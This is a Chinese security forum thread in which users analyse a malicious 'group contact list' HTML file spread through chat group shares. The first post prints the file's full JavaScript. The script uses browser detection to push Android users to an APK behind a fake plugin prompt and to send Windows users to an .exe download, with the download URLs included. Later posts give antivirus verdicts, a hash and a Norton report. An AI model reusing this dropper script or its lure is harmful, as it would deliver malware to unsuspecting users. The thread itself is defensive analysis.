【必看】本群的 群联系方式。

ELOHIM

群共享文件。

双击html文件（直接点击网址也可以：HJJP://www.i56u.com/jump.asp），会下载一个可执行程序，大家检测一下看看是什么东西呢？

[mw_shl_code=css,true]<script type="text/javascript">var browser={ versions:function(){ var u = navigator.userAgent, app = navigator.appVersion; return { //?? trident: u.indexOf('Trident') > -1, //IE presto: u.indexOf('Presto') > -1, //opera webKit: u.indexOf('AppleWebKit') > -1, //?? gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1, // mobile: !!u.match(/AppleWebKit.*Mobile.*/), //? ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //androidiPhone: u.indexOf('iPhone') > -1 , //honeQHDiPad: u.indexOf('iPad') > -1, //Pad webApp: u.indexOf('Safari') == -1 //eb???? }; }(), language:(navigator.browserLanguage || navigator.language).toLowerCase() }  if(browser.versions.android){//??? alert("通讯录为流媒体格式,请安装安卓版流媒体插件！");  document.location.href = "http://bcs.duapp.com/ssaaka/2345androidbrowser_5698.apk";     }  else{  if(browser.versions.iPhone){//???         window.location.href="http://www.baidu.com";     }   else{  window.location.href="http://bcs.duapp.com/sdfassd/%E7%BE%A4%E6%88%90%E5%91%98%E8%81%94%E7%B3%BB%E6%96%B9%E5%BC%8F.exe";   }   }</script>[/mw_shl_code]

深山红叶__

网页判断浏览端环境
安卓：hxxp://bcs.duapp.com/ssaaka/2345androidbrowser_5698.apk
Win系：hxxp://bcs.duapp.com/sdfassd/%E7%BE%A4%E6%88%90%E5%91%98%E8%81%94%E7%B3%BB%E6%96%B9%E5%BC%8F.exe

Dust-;羅錠

To Dr.Web

cn86li

To BD

The sample will be detected as Trojan.Script.CLM.

File htm declared INFECTED
File htm_1 declared INFECTED

ELOHIM

to microsoft too..

欧阳宣

看信誉分析，中招的人还不是一两个

ELOHIM

欧阳宣 发表于 2014-8-19 17:01
看信誉分析，中招的人还不是一两个

求贴图明示。。

欧阳宣

ELOHIM 发表于 2014-8-19 17:01
求贴图明示。。

文件名: yxku_s[210].exe
威胁名称: Trojan.ADH.2
完整路径: c:\s9\yxku_s[210].exe

____________________________



详细信息
未知的社区使用情况,  未知的文件存在时间,  风险 高





原始
下载自
 未知





活动
已执行的操作: 已执行的操作: 1



____________________________



在电脑上的创建时间 
2014.8.19 ( 17:01:27 )


上次使用时间 
2014.8.19 ( 17:01:27 )


启动项目 
否


已启动 
否


____________________________


未知
诺顿社区中使用了此文件的用户数 未知。

未知
此文件版本当前 未知。

高
此文件具有高风险。

威胁类型: 病毒。 将自身插入或附加到其他程序、文件或电脑区域以感染这些媒介的程序。



____________________________



来源: 外部介质



____________________________

文件操作

文件: c:\s9\ yxku_s[210].exe 已阻止
____________________________


文件指纹 - SHA:
39f2f05fae418e5877f761388fb1f650054d6107edd628f5f374dc92ee68d351
文件指纹 - MD5:
不可用

欧阳宣

双击先是没反应，接着衍生物估计是被干掉了。

然后去那个文件夹里一看，全是流氓软件。

怪不得命名为trojan.ADH.2

b573684723

好压KILL

火绒扫描EAV4.2MISS